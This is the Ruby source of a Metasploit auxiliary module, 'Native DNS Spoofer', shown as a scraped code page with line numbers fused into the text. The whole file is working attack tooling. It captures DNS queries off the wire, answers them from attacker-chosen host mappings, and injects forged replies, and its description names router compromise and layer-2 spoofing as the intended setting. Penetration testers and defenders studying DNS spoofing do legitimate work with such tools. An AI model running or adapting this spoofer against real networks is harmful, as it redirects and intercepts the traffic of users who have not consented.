Path: blob/master/modules/auxiliary/spoof/dns/native_spoofer.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67include Msf::Exploit::Capture8include Msf::Exploit::Remote::DNS::Client9include Msf::Exploit::Remote::DNS::Server1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Native DNS Spoofer (Example)',16'Description' => %q{17This module provides a Rex based DNS service to resolve queries intercepted18via the capture mixin. Configure STATIC_ENTRIES to contain host-name mappings19desired for spoofing using a hostsfile or space/semicolon separated entries.20In the default configuration, the service operates as a normal native DNS server21with the exception of consuming from and writing to the wire as opposed to a22listening socket. Best when compromising routers or spoofing L2 in order to23prevent return of the real reply which causes a race condition. The method24by which replies are filtered is up to the user (though iptables works fine).25},26'Author' => 'RageLtMan <rageltman[at]sempervictus>',27'License' => MSF_LICENSE,28'References' => [],29'Actions' => [30[ 'Service', { 'Description' => 'Serve DNS entries' } ]31],32'PassiveActions' => [33'Service'34],35'DefaultAction' => 'Service',36'Notes' => {37'Reliability' => [],38'SideEffects' => [],39'Stability' => []40}41)42)4344register_options(45[46OptString.new('FILTER', [false, 'The filter string for capturing traffic', 'dst port 53']),47OptAddress.new('SRVHOST', [true, 'The local host to listen on for DNS services.', '127.0.2.2'])48]49)5051deregister_options('PCAPFILE')52end5354#55# Wrapper for service execution and cleanup56#57def run58start_service59capture_traffic60service.wait61rescue Rex::BindFailed => e62print_error "Failed to bind to port #{datastore['RPORT']}: #{e.message}"63end6465def cleanup66super67@capture_thread.kill if @capture_thread68close_pcap69end7071#72# Generates reply with src and dst reversed73# Maintains original packet structure, proto, etc, changes ip_id74#75def reply_packet(pack)76rep = pack.dup77rep.eth_dst, rep.eth_src = rep.eth_src, rep.eth_dst78rep.ip_dst, rep.ip_src = rep.ip_src, rep.ip_dst79if pack.is_udp?80rep.udp_dst, rep.udp_src = rep.udp_src, rep.udp_dst81else82rep.tcp_dst, rep.tcp_src = rep.tcp_src, rep.tcp_dst83end84rep.ip_id = StructFu::Int16.new(rand(2**16))85return rep86end8788#89# Configures capture and handoff90#91def capture_traffic92check_pcaprub_loaded93::Socket.do_not_reverse_lookup = true # Mac OS X workaround94open_pcap({ 'FILTER' => datastore['FILTER'] })95@capture_thread = Rex::ThreadFactory.spawn('DNSSpoofer', false) do96each_packet do |pack|97begin98parsed = PacketFu::Packet.parse(pack)99rescue StandardError => e100vprint_status('PacketFu could not parse captured packet')101elog('PacketFu could not parse captured packet', error: e)102end103104begin105reply = reply_packet(parsed)106service.dispatch_request(reply, parsed.payload)107rescue StandardError => e108vprint_status('Could not process captured packet')109elog('Could not process captured packet', error: e)110end111end112end113end114115#116# Creates Proc to handle incoming requests117#118def on_dispatch_request(cli, data)119return unless cli.is_a?(PacketFu::Packet)120121peer = "#{cli.ip_daddr}:" << (cli.is_udp? ? cli.udp_dst.to_s : cli.tcp_dst.to_s)122123# Deal with non DNS traffic124begin125req = Packet.encode_drb(data)126rescue StandardError => e127print_error("Could not decode payload segment of packet from #{peer}, check log")128dlog e.backtrace129return130end131132answered = []133# Find cached items, remove request from forwarded packet134req.question.each do |ques|135cached = service.cache.find(ques.qname, ques.qtype.to_s)136if cached.empty?137next138else139cached.each do |subcached|140req.add_answer(subcached) unless req.answer.include?(subcached)141end142143answered << ques144end145end146147if (answered.count < req.question.count) && service.fwd_res148if req.header.rd == 0149vprint_status("Recursion forbidden in query for #{req.question.first.name} from #{peer}")150else151forward = req.dup152forward.question.delete_if { |question| answered.include?(question) }153begin154forwarded = service.fwd_res.send(Packet.validate(forward))155rescue NoResponseError156vprint_error('Did not receive a response')157return158end159160unless service.cache.nil?161forwarded.answer.each do |ans|162rstring = ans.respond_to?(:address) ? "#{ans.name}:#{ans.address}" : ans.name163vprint_status("Caching response #{rstring} #{ans.type}")164service.cache.cache_record(ans)165end166end167168# Merge the answers and use the upstream response169req.answer.each do |answer|170forwarded.add_answer(answer) unless forwarded.answer.include?(answer)171end172req = forwarded173end174end175176req.header.qr = true177service.send_response(cli, req.encode)178end179180#181# Creates Proc to handle outbound responses182#183def on_send_response(cli, data)184return unless cli.is_a?(PacketFu::Packet)185186cli.payload = data187cli.recalc188inject cli.to_s189sent_info(cli, data) if datastore['VERBOSE']190end191192#193# Prints information about spoofed packet after injection to reduce latency of operation194# Shown to improve response time by >50% from ~1ms -> 0.3-0.4ms195#196def sent_info(cli, data)197net = Packet.encode_net(data)198peer = "#{cli.ip_daddr}:" << (cli.is_udp? ? cli.udp_dst.to_s : cli.tcp_dst.to_s)199asked = net.question.map { |q| q.qName.delete_suffix('.') }.join(', ')200vprint_good("Sent packet with header:\n#{cli.inspect}")201vprint_good("Spoofed records for #{asked} to #{peer}")202end203204end205206207